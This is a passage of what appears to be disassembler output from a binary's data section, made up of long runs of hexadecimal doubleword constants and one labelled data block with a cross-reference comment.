		dd 9F6E2B92h, 29730A62h, 840A5650h, 9635BBADh, 0F0901991h
		dd 8A37E1DFh, 189FEFBBh, 0E06637AFh, 0CB3C3032h, 0B2930DC8h
		dd 3B0A81BCh, 0B831C86h, 0A05B9773h, 0A1ED9890h, 0ED32E173h
		dd 6D3E5CB1h, 0F9044984h, 4F2F8201h, 3FA9DE81h,	770B2F6Eh
		dd 0D3E2AF6Ah, 965A461Ch, 0B3267B38h, 778DA6Fh,	0F382416Bh
		dd 8178841Fh, 0BCCA90ABh, 1817009Ah, 2C27F367h,	0F913767Dh
		dd 872A8CC6h, 89BE7B13h, 0ADA6DCEEh, 0B91FA1B7h, 0E4788DD5h
		dd 5303A821h, 2B908FF6h, 18F5D7FEh, 9EECA8D0h, 2472EBC1h
		dd 2064F008h, 96DBED50h, 449CE4E8h, 0C4D0D4BFh,	0F2E42DF7h
		dd 0C15D85Dh, 0DB0EB096h, 0D13EB244h, 0E7B5AB19h, 0DB8E10A6h
		dd 2E90DA2Dh, 3352844Ah, 61722A78h, 765A3D2Ah, 1DF3BE6Ch
		dd 63DB8206h, 4BA8413Ah, 0B1FE7252h, 0DDF3DD6Bh, 310B2CFFh
		dd 0C2D13402h, 76C334E2h, 0F73046FEh, 0A6914933h, 0BA133DC5h
		dd 0BC8ED3C3h, 5E9A9F46h, 0F7BA3A5h, 68F47A5Dh,	934D0FBFh
		dd 0ED2D0A90h, 2EEF172Dh, 7FAA645Bh, 0FAAF53A7h, 52D16AACh
		dd 9D973760h, 150F009Ch, 698DDA49h, 0F0AF9D46h,	680149BCh
		dd 8F227F1Bh, 0EE323C62h, 0B5217A66h, 6228FA6h,	69A8E524h
		dd 0E11B6172h, 497FAE3Ah, 0BE9DB5E3h, 7FCC35D6h, 1D21B2D7h
		dd 0BC490C8Ah, 3A9AAEh,	0A63D287Ch, 1F3034D7h, 434DA27Ah
		dd 816579ACh, 7E3E105Ah, 0A7785475h, 0D287EF94h, 63220719h
		dd 8F76443Dh, 8023DAA8h, 9FBEFB6Ah, 84DBB4Ah, 206BCD1Ch
		dd 0D973CB63h, 0F5B94C27h, 62C11BE2h, 0B0E96111h, 32DC6293h
		dd 604FA3h, 0EA464236h,	0DF3D0292h, 0DCCE1FF2h,	22867699h
		dd 0E981CB3h, 6567BE8Eh, 9BD88FA7h, 8D2A5B03h, 0B1BE2F53h
		dd 0C36D175Ch, 44E8C86Ch, 6276926Ch, 28565B23h,	0D4841CEDh
		dd 75C84292h, 6A4CCB91h, 5A70158Ch, 0A3FB8202h,	0AA0075E9h
		dd 0EB078413h, 0CB1B7783h, 0C24EAC46h, 0CF6E960Eh, 9EA66775h
		dd 0ABFC2938h, 0BBC974BBh, 74F453D3h, 7FD127A6h, 0D9853405h
		dd 0BD5ABFDFh, 399B7EA7h, 9C27915Bh, 44A1F54Eh,	97ACFB89h
		dd 83545470h, 971001DBh, 405D103Dh, 33610ACBh, 0B5EC8189h
		dd 836802B5h, 9F25A89Eh, 416D710Bh, 0BB9FD17Eh,	0A636FBDEh
		dd 0DC6DCF64h, 1D9C9436h, 45DC412Dh, 0F8590944h, 0C3C968BAh
		dd 4D56A0A3h, 0AB977866h, 0B085D54h, 8D92530h, 691C4CB2h
		dd 8BEE8FEh, 0FFD00AEBh, 0A7D99072h, 9223E724h,	2F02350h
		dd 99A233D2h, 5C57404Ah, 727E7143h, 0E1220A2Eh,	7A34907Bh
		dd 12BF0EBCh, 0E71E90FFh, 498658DAh, 1156A1BCh,	0E35EF8CCh
		dd 0ADFF7E54h, 891D9064h, 4BD73F55h, 61FD9AE4h,	95C2E7C7h
		dd 2546B449h, 0FE071C60h, 0AACCF97Bh, 5FCBCC4Bh, 0CD5A3BA7h
		dd 44FE234Fh, 3125F50Eh, 0B7DFBAA5h, 979E328Ah,	3FE727A3h
		dd 0F02CB986h, 0B7F7BC9Dh, 2A1A2A04h, 94A2B0BCh, 3AB3110Fh
		dd 4A3AA9F8h, 8129E4EAh, 0E822075Eh, 3F179A71h,	0BC0F68E8h
		dd 0F0FBAF0Ah, 0CAEEE140h, 0A497F175h, 2CEF8AA3h, 3B0CFABBh
		dd 5C533AB5h, 0AE70DD67h, 0EDF21828h, 379A188Dh, 0DBA232A8h
		dd 0AE00B281h, 9DC0DE2Ah, 4B48F6A8h, 550FE68h, 0F8EF0A5h
		dd 1A354C9Ch, 7956756Ch, 9D0B128Ah, 4E30A841h, 152D9B8Bh
		dd 0DA7C9A9h, 6D9A84EAh, 0BDA38F5Bh, 7F545DF2h,	96AF8E74h
		dd 29198D4Fh, 1188BF98h, 0E728B069h, 5AFD42D5h,	9016516Fh
		dd 5BA13AC6h, 0A3262E15h, 0ABE555C9h, 2A4FF51Bh, 7933D177h
		dd 40DB05B8h, 78D5C7CBh, 18014653h, 3A4F6984h, 6CB15C42h
		dd 0AFE37104h, 1A77AA16h, 9776211Ah, 5A03489Eh,	0DE12A5C7h
		dd 2C17025h, 33E45E3Ah,	8A39C534h, 0E819C647h, 7B1B1713h
		dd 0D885BF00h, 0A0E4A85Eh, 7F3E394Ch, 8C02AE04h, 0E9BA4363h
		dd 30262A5Ch, 0F92579CAh, 0BFA76DCEh, 0E186295h, 12AE1280h
		dd 0C0E80193h, 5FC933EDh, 2AC9DA0Ch, 7246E99h, 709FA76Dh
		dd 0A0F75FE4h, 8CC3A8CDh, 53487F54h, 735D93DDh,	85BBF426h
		dd 0EFF98B33h, 0A19A5285h, 9515C62Eh, 80883A0Eh, 3FAE143h
		dd 0A5B20D8Ah, 3329FEE8h, 0AF9BFA45h, 8724B4E5h, 7CDA7027h
		dd 97E49158h, 592E3B69h, 0B1AF78F3h, 2AE9BDC7h,	0BFDCA929h
		dd 82E3B75Eh, 9B2BA679h, 81B62168h, 93D192CEh, 0B6555082h
		dd 18CD7DA8h, 0E4DE3462h, 0D7452834h, 6DCAF7E1h, 6CB3D72Ch
		dd 45CF3656h, 0A0C78CBh, 0A0F4567Dh, 0F7118EE4h, 16DBA9FEh
		dd 3AC09E09h, 0E50B3409h, 348E2DC3h, 0E7C6A7EEh, 8F934EF0h
		dd 0FD1A4CE9h, 0AAD19B27h, 508BF8h, 5AD86A31h, 0DEDF8AD3h
		dd 37AA403h, 0E1EA4BE7h, 1BCF3D2Fh, 0E5563156h,	7404BFA7h
		dd 22ED72B1h, 5D988A29h, 57411036h, 0F0469610h,	7DD51DE1h
		dd 272807C3h, 81CF4ADBh, 6CF7FBE6h, 12F462A6h, 53F308CBh
		dd 0C103EEB9h, 9002FEBBh, 71DCFE7h, 68F216D9h, 0CEC3FD08h
		dd 0EFB694D0h, 66BAC6D7h
		dd 0D177A69Eh, 9CEDE81Bh, 9F0D9B13h, 2C770029h,	0E8E284F1h
		dd 0D457EB68h, 8CB3D999h, 0C597775h, 673F0EF6h,	0CDE2F609h
		dd 411E7F97h, 6769A0E2h, 0ABB86D5Ah, 931D63ADh,	3FC6F424h
		dd 84F645D4h, 49E3E6D4h, 0B6408868h, 0BAB00FE7h, 0D80EB103h
		dd 601B96EFh, 78D38090h, 936F47C5h
dword_43005C	dd 9DAA13A7h, 3286F2Ch,	0E854404Bh, 55D6FE25h, 838D3292h
					; DATA XREF: .data:0041A720o
		dd 0D803830Bh, 0FF3FE069h, 0E47EEEB5h, 0EEC13E31h, 42E4E65Ch
		dd 0D08F91C1h, 0BAA85D3Fh, 3E1ACADDh, 35C84A95h, 0A40135CCh
		dd 0DEF320BDh, 62B7D1Ah, 55126162h, 0C3EBF1EEh,	0B167F26Ch
		dd 65505427h, 0E8786871h, 4244DB22h, 0CE0B21B8h, 0ECF17678h
		dd 2FC19CD3h, 25D02BFCh, 0D03D62E6h, 910CA269h,	0F854B78Ah
		dd 404BEE55h, 97BAE63Bh, 50956418h, 31427648h, 0F41B70FBh
		dd 2E726C59h, 0BA337920h, 0F82CB726h, 51A5DD22h, 6FD1CA9Fh
		dd 1AC0F5A4h, 8F4BE763h, 0EC5DC32Eh, 6B8B1073h,	2034A73h
		dd 0D5288123h, 425DE510h, 312A71C6h, 274B273Fh,	3F5D5B1Ch
		dd 0ACB9F840h, 89F2336Eh, 97C2D297h, 4BAF8CE3h,	3E97F145h
		dd 0E405474Ch, 261F77Fh, 22D882BFh, 40C04831h, 0F7F4D7E2h
		dd 7FCD31E2h, 6BF9C74Eh, 78AC40ACh, 0C6FE12A0h,	0C4BB6A43h
		dd 4886D79Ch, 6A743ACAh, 14546E05h, 0B6BF43EFh,	950C0316h
		dd 0A975BD7Ah, 1C9B757Ch, 9CA404F9h, 2156B598h,	2BB59410h
		dd 0EB8D7A17h, 0F86C5A25h, 4F9AB332h, 0CCE724D2h, 0E18306FBh
		dd 99EF89A4h, 0EBE9D2CEh, 21A1C7C6h, 11357B94h,	8AF9F639h
		dd 998649A3h, 0CA1C03D4h, 9099F79Ch, 67AE0852h,	0F7AC714Fh
		dd 35B628A4h, 14952571h, 310C9A55h, 0D8A89A32h,	0AD24604Eh
		dd 0F47306D1h, 8CB2908Bh, 0F70BC6C7h, 227D8EACh, 2D45981h
		dd 8FFC366Dh, 0B72FA772h, 53577A55h, 253A9ED1h,	568DB6C3h
		dd 0D48B2F90h, 706A1ACDh, 788E358Fh, 457F5B0Ah,	0B09406A5h
		dd 0CF5609C8h, 51D32A9Eh, 0EA2C3EE5h, 5D9B2063h, 74E48C06h
		dd 0C47EE992h, 0FFCE7C12h, 8B7CF0BFh, 77013B1Ah, 263859Fh
		dd 0AF40CB5Eh, 8FBFCC9Eh, 11616DB7h, 0C5DFED31h, 9E0BDD0Bh
		dd 0CD2FF165h, 4338DC19h, 0B8E8283Ah, 17902751h, 9D2B4239h
		dd 17B42212h, 68D97D4Ah, 338AB2DDh, 3C0A11Eh, 0F7141EA1h
		dd 0EB527F19h, 0E9EE6144h, 0FE38B6F0h, 4D477047h, 1EA5109Eh
		dd 4D4E482Ch, 89C350F6h, 0E46395D6h, 0AEF87E88h, 1C0F6435h
		dd 0D32E0C6Eh, 2A0EFE79h, 368031F7h, 0F172A2EFh, 0E5D7AEC5h
		dd 4D954D84h, 31065F93h, 304A3A72h, 0A692AF6h, 98285A29h
		dd 52D0C61Dh, 8A3924D8h, 42DDD1D8h, 9D94DE28h, 8E954BBFh
		dd 0C75DBF51h, 0A9988472h, 0F531D772h, 6E386852h, 54930555h
		dd 4FBB6570h, 6C41B068h, 0B2B14D02h, 24053DC7h,	5D39FFE3h
		dd 0CC59B889h, 0A383E481h, 5FE14131h, 0ADD86F5Dh, 18D3A9D9h
		dd 996573EDh, 0DDDC2B2Fh, 0E928E02Fh, 0FF343847h, 0A5148FF8h
		dd 0E5BD049Bh, 77876B86h, 0ADC25FB1h, 7089E468h, 9C454B5Bh
		dd 733E7385h, 0BF385FF7h, 63E64D85h, 0D0BC7A86h, 5B6A1AEBh
		dd 0ADA40D90h, 4E8E5539h, 77FFAC29h, 816C77EDh,	5821EA33h
		dd 4D3CF12Fh, 6AD51012h, 0F1CB9253h, 8ECB48D3h,	18312F78h
		dd 208F9471h, 0FCCEAF98h, 802DEDFCh, 0CCA6F4h, 29E9B5F9h
		dd 9115F9E6h, 2BA79AAEh, 0CB84937Dh, 49701CE0h,	5398772Fh
		dd 8206D8ABh, 2136AE8Ch, 71F39DF9h, 0C6D35DB8h,	53304EAh
		dd 6610B3B7h, 0B7A8ED86h, 4AF1786Ah, 0D409C9C8h, 0F087AE7Dh
		dd 57E8DD64h, 6728A28Bh, 3FE1FCC1h, 0C7FA6C49h,	3625D41h
		dd 25D03CE0h, 6BE02184h, 0D42FDEFDh, 21088BBh, 0F5062597h
		dd 0DC2CDA26h, 264F75D4h, 1AA707EAh, 858ED464h,	452A8Ch
		dd 0C9441564h, 0AAF37BFBh, 4095C5F2h, 9E9C95A2h, 777C4B7Ch
		dd 0EC41BCF8h, 508E1729h, 90607DC5h, 0D6E9A519h, 220E967Eh
		dd 34D99850h, 20A40BACh, 802D375Bh, 8BFAD518h, 0BE1CF7E4h
		dd 5E016273h, 0EF1CEAE9h, 4A37E6D1h, 93EDC82Ah,	21C6A4F3h
		dd 60625D08h, 4F19BAB7h, 83898C68h, 0F428969Dh,	9C0BF4CEh
		dd 508BEDF4h, 1C207C17h, 64578D3Eh, 23103E8Eh, 0ECFB1304h
		dd 97EDDACDh, 0F294EE2Ch, 3034D67Dh, 52AF9933h,	8EE77CD5h
		dd 30BCC9ACh, 5874D953h, 0A09AAE06h, 84EA7A31h,	9D2DF082h
		dd 6B7AF877h, 0CFC5F077h, 0E7360293h, 2C5026B6h, 5A383F3h
		dd 94CEAFD4h, 70C933Ch,	0F239C4Bh, 71F3C67Ah, 0B95005AEh
		dd 0B029CD4Ah, 8045C091h, 80D3E85Ah, 0F24B5730h, 3AA436D0h
		dd 370EEEC1h, 4152D21Ah, 0D3C9A032h, 0D0C547AAh, 0D778FA66h
		dd 2B083970h, 9E1EF5E9h, 0C8830E3Eh, 50E0A639h,	7C458C62h
		dd 0DB3B2975h, 398FF92Ch, 0BBEC26C8h, 0EDD38901h, 1C3D4DEDh
		dd 9C45F2D9h, 459535D6h, 9D7927ADh, 4B4C2CABh, 0AE382400h
		dd 27361922h, 40076A00h, 0DBAF817Bh, 7888FD6h, 0E865469Eh
		dd 0BBFBDD9Fh, 0F7C112AFh, 7B1615B4h, 0ADE72E45h, 0AB0064BCh
		dd 6B2656CEh, 0F6209BADh, 0EE9F9F25h, 33E447F8h, 47B8043Dh
		dd 59D5BDC2h, 3C935DC6h, 838CA7Fh, 57660C2Ah, 6E1FEBA2h
		dd 97559810h, 0B3712429h, 10A38F15h, 336C2D48h,	0B3A0234Eh
		dd 0CFA6244Fh, 0FD1F42E6h, 0CBBAA010h, 0D96E33BFh, 6E52EE25h
		dd 316381DBh, 208FEB02h, 1E6BA56Eh, 0B0EC55F4h,	5309FB34h
		dd 21FAB090h, 2DBA1357h, 0BABEBD62h, 115FA74Ah,	430A20D3h
		dd 73631E58h, 1D08F928h, 2048D4E0h, 0DDA101BAh,	3C77ADB1h
		dd 558A65B8h, 0A3E4630Ah, 0DA377C10h, 0AEFB95D9h, 18266B1Bh
		dd 6F4E95B5h, 0CE0A398Ah, 192B4A53h, 83A649E0h,	77F2F8E9h
		dd 0E9CB5FBh, 0DA6ABCC6h, 0BC3DEE25h, 7A6955A7h, 0A7D2ED19h
		dd 78AA5CCCh, 0C783C4BBh, 0D915D5E9h, 0BB48BFE1h, 8D0E1777h
		dd 1B441A85h, 0F8FDC362h, 82522967h, 7A7F9FE3h,	8B20CF4h
		dd 7D364D40h, 6476E428h, 964ECA7Ch, 15021B1h, 6359CA46h
		dd 0B129B4B2h, 1739BE28h, 443E9993h, 6B6FFB4Fh,	0EEBEAC74h
		dd 0B8644828h, 0D6749601h, 1450FCE2h, 0C9B74029h, 0A60317DDh
		dd 0DD5AA181h, 0AAFA122Eh, 73B6E8B4h, 0DC547D35h, 0BF8904B8h
		dd 0B32D6D17h, 5E4E511Fh, 3FF0051Ch, 0BC57613Fh, 8ADE77FFh
		dd 5BD9FB73h, 692AE56Ch, 0F5821DE3h, 0E1297A2Fh, 0D031B6B1h
		dd 84F0E37Dh, 1BF32982h, 0C080D95h, 0AA88B778h,	1A578E21h
		dd 92D2BB27h, 0BB370A92h, 5C596449h, 88ADC51Fh,	0F72B6520h
		dd 0FA40392Bh, 3DBFD7DBh, 0F42FE096h, 4306DF30h, 0ADEEF9Eh
		dd 6C48E999h, 0D0D53702h, 18CCE7DDh, 0AF132C0Ah, 910C2967h
		dd 56C9CEE5h, 0A10376CBh, 3A83747Bh, 83729627h,	0DD8F2620h
		dd 0CCDDA6E5h, 85896C94h, 0E9DBA9C2h, 0F6771353h, 13A3FBF9h
		dd 12620D5Ah, 9EF85D4Ch, 63417B0Bh, 35E23A87h, 0ECA8806Eh
		dd 4A28AF79h, 1CAE73A4h, 0EBC02F6Ah, 714F4632h,	5CEBDD7Ch
		dd 0E431956h, 84D4D548h, 39F4C347h, 0BBC54784h,	0BBC3575Ah
		dd 1A402E68h, 7C4FE023h, 11F7AFFBh, 0D2AB9801h,	6C34D22Fh
		dd 15E4E84Ch, 0DCF180D3h, 6A12DF94h, 0F635573Fh, 8293EB0Fh
		dd 539934B9h, 0CBDFBBF8h, 2F1B3455h, 5650AB8Dh,	5BD72CFFh
		dd 0BF9A1EE8h, 2ED56918h, 827F59D4h, 141B1B09h,	0E647E3CDh
		dd 33FB5CC1h, 0E496C9ECh, 0B9EABC7h, 0D4C2D104h, 48C247A2h
		dd 0A4D3ED8Ch, 44E83C0Ah, 0F3852648h, 96252668h, 16252719h
		dd 0A4001D74h, 0FF7A6F7h, 0B1AC38C4h, 687E6BD6h, 42C4C7DBh
		dd 0DBC8F117h, 7F1A1131h, 0E97C1540h, 88DBCB90h, 0FD883B08h
		dd 6AA7AAD1h, 0E3462EBBh, 0CBC49FA6h, 33DAE80Ch, 7F333C84h
		dd 0F2760591h, 0BC0E81E2h, 0C3855E3Ah, 0FE106EB3h, 3C836B11h
		dd 0D6422F24h, 6E8741Dh, 222B1325h, 901414F9h, 13A4216Fh
		dd 88BC1737h, 3F168C28h
		dd 36EFFE3Ah, 0E79711h,	0DB3BA855h, 0FBDB7A8Bh,	7CDB1941h
		dd 8B8A5ADh, 0C8A1F376h, 9EC9ECB5h, 58920E23h, 0CB78BC4Fh
		dd 0F309070Dh, 0D27C1F72h, 0FD45829Ch, 5601F35Fh, 104A115Ah
		dd 206838B4h, 1AA9C42Ch, 0BD723798h, 3591931Dh,	641AC82Dh
		dd 0E9B18D47h, 10F7B4C6h, 0FC7EEDBAh, 5B68F409h, 4E66ACB4h
		dd 0AA560F4Ch, 4080A1C3h, 0EEDE80DBh, 0A7F47F7Ch, 4F87A1Eh
		dd 7A836A3Bh, 38344FBBh, 92C21562h, 559301D4h, 301610DFh
		dd 0B98214C8h, 0A4E9D21Dh, 0EDA9F070h, 44D3C707h, 0F527252h
		dd 7E16D397h, 0B79804E1h, 83AF33A7h, 1E54A6ADh,	9A588B8Ah
		dd 728C5CB4h, 2C3F68B3h, 292DD9CDh, 14C0A074h, 0E21F3B92h
		dd 40B87598h, 56660FB5h, 63ADA2AFh, 0CDA78C41h,	0E254728Eh
		dd 0FFAEE3B8h, 8337B5C5h, 3560614Bh, 0CF3986C9h, 8E07EEE4h
		dd 0A24FC4FAh, 0A2855657h, 0C1A83C0Dh, 0B29BA2DAh, 92DFBF86h
		dd 93D2E568h, 647ED824h, 0A5727343h, 83040C3Eh,	6649B403h
		dd 2740985h, 9412715Ch,	0C333A107h, 0BAFC233Dh,	0AD2D68EBh
		dd 31636BB0h, 20471695h, 964FEB48h, 0E282C46Eh,	1CCDB4D9h
		dd 45CB659Eh, 3912F004h, 540EE11Ch, 9BD0CB81h, 9CE4F2BAh
		dd 0DE2C1ADh, 0ED77DD16h, 0FD47E7Fh, 7A9933DDh,	0DEFBD7E9h
		dd 5D748531h, 0D03A3E42h, 0B97DD6E5h, 32F553FBh, 0E62EEF90h
		dd 8CDA9516h, 0AD6D64BBh, 12B8D2A3h, 0AEA8DCEh,	5D022205h
		dd 0F64FB15Fh, 8CCF0694h, 16FB832Fh, 3F04BD1h, 417443E9h
		dd 8C71B13Ah, 1833BB2Fh, 0F350B479h, 0D79E4497h, 0A0471FA2h
		dd 0ADA7933Ch, 7EABDF85h, 20248836h, 0BFE67F95h, 0F428C532h
		dd 41FCB788h, 0C10C9799h, 91BB6DC8h, 54BD773Eh,	0BEE71754h
		dd 17CB6224h, 0BD427D8Fh, 0AAEFF7E1h, 403E9BCEh, 0EC72B488h
		dd 0A32FA58Dh, 29F75AF0h, 0A20E38EEh, 9F05DE70h, 7DDC7AD1h
		dd 66BCCC65h, 81BEE1A5h, 0BCD40C92h, 0FBC03E5Dh, 5AF8EA5h
		dd 5C5646EDh, 13AB9ACBh, 28043FAFh, 5CDD78D7h, 0D7E43F2Eh
		dd 6433DAA7h, 0B5DB6E75h, 5E4236CAh, 1A6C3CC9h,	0B7165DF7h
		dd 463C044Ch, 94324C86h, 0DE615D40h, 0F91A0D2Eh, 51BD9660h
		dd 7E2F14DCh, 302661C5h, 0C3C36AC0h, 0D526160Bh, 17A56886h
		dd 300BB908h, 0CCB4C08Ah, 608BBD55h, 9A081B75h,	0FDC44AC4h
		dd 271933EFh, 9E33BED6h, 46FB83F8h, 0D666DB71h,	0FC25FF9Eh
		dd 0EB86CA37h, 65088DABh, 39454635h, 0C7C78B18h, 9F2E72BFh
		dd 0BD98AC59h, 75E5A206h, 0B69CFEA8h, 17746448h, 649B3D5Ah
		dd 0A2E08437h, 90A14ED9h, 44E97C53h, 9C9B67C5h,	89E8FD44h
		dd 22773A0Ch, 16F7312Ch, 0DFFF95AEh, 0E9FCE258h, 60D609AEh
		dd 30E0D852h, 0EE1081D7h, 6B59031Dh, 584507F5h,	26922D80h
		dd 0C77EA8E3h, 0B5A660BDh, 87331D75h, 7B067978h, 79A9E174h
		dd 20DC5D4Ah, 5E10107Eh, 0CFBFA8C5h, 4A19BAD5h,	5739B8FCh
		dd 47787679h, 0A71DAC4Fh, 0B1284708h, 0C12827E2h, 90C9EB6h
		dd 0B426820Fh, 0ADB310F9h, 595CA43Ah, 88990D05h, 47D66A27h
		dd 0BAC017E9h, 0FF79A3B2h, 0BA2F1556h, 656823C7h, 9B1EC3E6h
		dd 0EFB0FE2Eh, 9099105Fh, 0B3D87C8Ah, 42B5A4DFh, 0A76AAD29h
		dd 474DC12Fh, 9D4AB63Ah, 88207CBDh, 0B01E9446h,	0DA77FF22h
		dd 0ECCE6B30h, 169F1448h, 0B3DA2099h, 5BB10051h, 0ECF37338h
		dd 4AD4117Ah, 442212FFh, 4CA64C59h, 27FA1760h, 0DA3449Dh
		dd 0BEF414Bh, 7C809FF0h, 9E09D8E9h, 2B922B6Bh, 40F8E5Dh
		dd 55C2C766h, 5741272Bh, 2AAA107Ah, 17815A42h, 0FE4997B7h
		dd 6B604807h, 8545F8BAh, 983748C0h, 0C6F73229h,	55445453h
		dd 74829487h, 39D674B2h, 0FE862CCh, 86666125h, 13E40186h
		dd 0A278C35Eh, 85EDCC9Dh, 658B953Ah, 626E4E14h,	61838D08h
		dd 1584C41Dh, 0E5C11D13h, 13FC61E9h, 261756C3h,	0A461F467h
		dd 7ACBB5D7h, 345A543Ch, 76AF5C1h, 7F5B65Eh, 4B3B8B8Ah
		dd 2A49F061h, 9F3FF448h, 7F06BBFCh, 53376AF4h, 3D5EEC21h
		dd 278B166Dh, 2CB45B22h, 664349ABh, 0CFD71EE7h,	1386612Bh
		dd 0BD8FCE47h, 83707F3Fh, 0BD2AE1C4h, 0C409B1D7h, 0F0645DCDh
		dd 0CBFFAA20h, 8FAC7ED3h, 0D71913A2h, 0FC69E210h, 24475CC8h
		dd 0D7E39B32h, 4E02F698h, 8A836A3h, 0B67A6A95h,	9E8870F7h
		dd 89F342E8h, 9442BA48h, 0D4A4ACE7h, 0C02680D1h, 0BB82CFE6h
		dd 7C23455Ah, 69719BA4h, 0F55FBBCFh, 3C0A980Eh,	0C0BAE088h
		dd 0F778E24Eh, 7AF950B9h, 0E7C8B3DEh, 3229A5A2h, 226A7B3Ch
		dd 957DBA2Fh, 284C5C41h, 0E059B4E5h, 6E161625h,	0BB6CAB4Ah
		dd 7DDDA55Bh, 40433BB5h, 8E227683h, 0B7D775FEh,	58168EC2h
		dd 0CE0C8D46h, 4ECCB36Ah, 3D5CF1F7h, 81CF851Ch,	53550231h
		dd 21A1F23Ah, 5153DBDh,	827DD96Bh, 2932DE0Ah, 20BEC1C1h
		dd 72057005h, 0EC2DC986h, 927D17D3h, 695D0696h,	117B29D0h
		dd 0AB48DAFDh, 9665A410h, 45D1BCB1h, 0CCB376Ah,	0DF502398h
		dd 6D360A94h, 49C3D4C6h, 5F2BA47Ch, 0D775E03Bh,	0BF812332h
		dd 209E84D9h, 0CAF61848h, 0D0C29753h, 0CF3FEA0Fh, 65FC3938h
		dd 0BCFA8834h, 0B68BF11Ah, 7849EA3Eh, 2B26900h,	0FD89820Bh
		dd 0E253BBEh, 6B5ECB73h, 0A397C98Ch, 624B31D2h,	0A4338873h
		dd 0DB8F72A5h, 0E41B5CE8h, 0C21DDDE6h, 0B2584CAAh, 9CA7974Ah
		dd 9DE9E17Fh, 0BC4F16B3h, 0C4674DE4h, 0FAB1841Dh, 4946E055h
		dd 1ACB0A56h, 4F37851h,	0B89498AEh, 2D90D71Ah, 0F29242ADh
		dd 6564225Ah, 47F9A521h, 188FF380h, 996387ECh, 233706A8h
		dd 0EC1A0C8h, 6A69B55Ch, 0F1527AF5h, 7C445BBFh,	47058139h
		dd 39B8C840h, 0E3DAE060h, 0D47B12DFh, 0E17843D1h, 0F00EF6B4h
		dd 0FB44A824h, 1A94BA75h, 9C66023Dh, 0D8DFABF7h, 0A05BDAABh
		dd 73ACE91Bh, 0A5A30C96h, 0E380BE97h, 0A88CF5CBh, 0BE3E0684h
		dd 2A66489Dh, 41524640h, 0A9D84E2Dh, 0EDFD2C9Fh, 135C7604h
		dd 0B55057C9h, 321EAB2Fh, 4F8CCA6Dh, 1E073398h,	2DD88C70h
		dd 0EE20D4E0h, 6622B7A4h, 925C1450h, 463A05Dh, 0E149207Bh
		dd 30620E9Ch, 9133E298h, 657CB37Eh, 91E5911h, 81720236h
		dd 127A3E65h, 3AEA133h,	40E9CB5Dh, 394A1DB8h, 0BFA6E023h
		dd 24A1F482h, 0C8B684Eh, 0E67F9C37h, 0FA82E224h, 70B7BEA0h
		dd 936A62FCh, 0E83E3C74h, 914B2BBCh, 91DE28CCh,	443AECABh
		dd 0AFA97283h, 0D2F589DCh, 88AEDA51h, 0A3095263h, 229DC5BEh
		dd 72CCBB5Ah, 1D202374h, 597F608Fh, 0CE45A2D1h,	17691A4Fh
		dd 0ACE08DD4h, 659E3A50h, 13735C8Ah, 0F53965D5h, 0C6610059h
		dd 62D356C1h, 24BBA8CCh, 2992B2FFh, 9C3ADBD1h, 72E40963h
		dd 0F48E539Ch, 3F6EDE5Ch, 8F9801BBh, 0E389D515h, 48FAD09h
		dd 77AC1796h, 46D75D1Fh, 32D63E21h, 30241F19h, 0C433F5EAh
		dd 7E4424CDh, 0B63F2AADh, 3D7FD42Eh, 574A6867h,	0B47B6E76h
		dd 2FD71581h, 8EC8EE7h,	0F8A71A65h, 0F8816A37h,	0D7603DB3h
		dd 0EE9CC461h, 0FB7AC039h, 1AFB07E1h, 78F06AABh, 709FECBh
		dd 4C1243F5h, 25C7D401h, 0BEF20AD0h, 0A740C441h, 8DD86E16h
		dd 271AF957h, 0E6283ADBh, 0B17AB653h, 6DB713CBh, 17482E55h
		dd 0D5E8C840h, 377F8483h, 7A406F76h, 921EA180h,	6D695AACh
		dd 0C724DCBh, 6CA439F6h, 366054EFh, 0AC267194h,	0C52B0950h
		dd 3A677684h, 4022F97Eh, 0D0A6EF0Ah, 8AA95DA8h,	816AB861h
		dd 0EF4FD58h, 0C8E9D618h, 40036856h, 0CB0AA7EBh, 2D70F374h
		dd 8BE2489Dh, 5BA9786Ch
		dd 3EB1AFA4h, 0F7FFEBD8h, 52730C1Ah, 0CB9771B6h, 0CFCAD85Ch
		dd 0B5B74EA7h, 2E375C2Fh, 0B40CDABh, 8911DB08h,	1E47DAA0h
		dd 0EBD80A5Dh, 2365DD35h, 9FFF5664h, 0D0784EA6h, 8B19BC68h
		dd 0E50753E9h, 89F65319h, 0D98EC622h, 886BA36Fh, 872E283Ch
		dd 0EBB8D87Ch, 78D055B4h, 6B2CF27Ch, 1C84CEBAh,	0D2B51AB0h
		dd 3347BA7h, 0AA233787h, 7237DC09h, 9A993CFEh, 0FF70D43Bh
		dd 9E0D3E43h, 0EF5F8DC4h, 0FEB3A29Eh, 20CF3B6Dh, 0F1F7E27Eh
		dd 0CDABDE96h, 2A89A144h, 3BD6E8Bh, 4C6FE405h, 0A13C8E9Fh
		dd 0CB607BABh, 4F74BB9h, 30A2070Ah, 0AE24C66Ah,	6D8482CCh
		dd 18A93815h, 239C1792h, 30BA81EDh, 1047BEE3h, 5E2E31C3h
		dd 0DD456D14h, 0C27079h, 0BEC9EC64h, 47B8B793h,	0F38C3C62h
		dd 0A7EAFBD5h, 0EE2880D8h, 0BF7D504h, 84745430h, 5D08D7FAh
		dd 7AB5F826h, 518EC558h, 10CFD62Bh, 8B4B8FDh, 0F69817BEh
		dd 3A58BD18h, 0E8A87545h, 1E9E8888h, 0D4754D1Dh, 4D2FDE9Dh
		dd 0F38C5EA5h, 0B87A9D63h, 315725FAh, 3150E046h, 265B2CD0h
		dd 0F0F73D4Ch, 3AE2740Bh, 0F8EDDAA0h, 0D78D19E8h, 939655A9h
		dd 0F0695190h, 160381E7h, 9F1E08BEh, 60B1AC19h,	23ACD328h
		dd 6913DA3Ch, 5D130A77h, 5C42849Ah, 0CA4B0C3Fh,	68210C8Bh
		dd 1CDC35D0h, 36945789h, 132B6E3h, 0A61DD152h, 22E79C30h
		dd 0CE9AC3E6h, 3F0F0D98h, 0E37F6F15h, 0F340F41h, 8CD647B3h
		dd 0D895734Bh, 8959455Ch, 949C9B02h, 80A00B95h,	8451471Ch
		dd 0A670A481h, 0E8A7A30h, 17F768A6h, 663F41D3h,	0E3E95A6Ah
		dd 0DFCC5739h, 0A8500B4Fh, 2AD2077Bh, 0AD6E0950h, 73D09CB8h
		dd 0AE4ECE69h, 6C01F1E4h, 0A7A64355h, 0A084A52Ch, 0DB60D8A0h
		dd 1D734C8Ah, 16C4E7FAh, 8EF5F376h, 0BFBFC372h,	0C0F9F2BFh
		dd 33B83D7Ch, 0F00A817h, 122FC280h, 63E5BB58h, 4CA135F7h
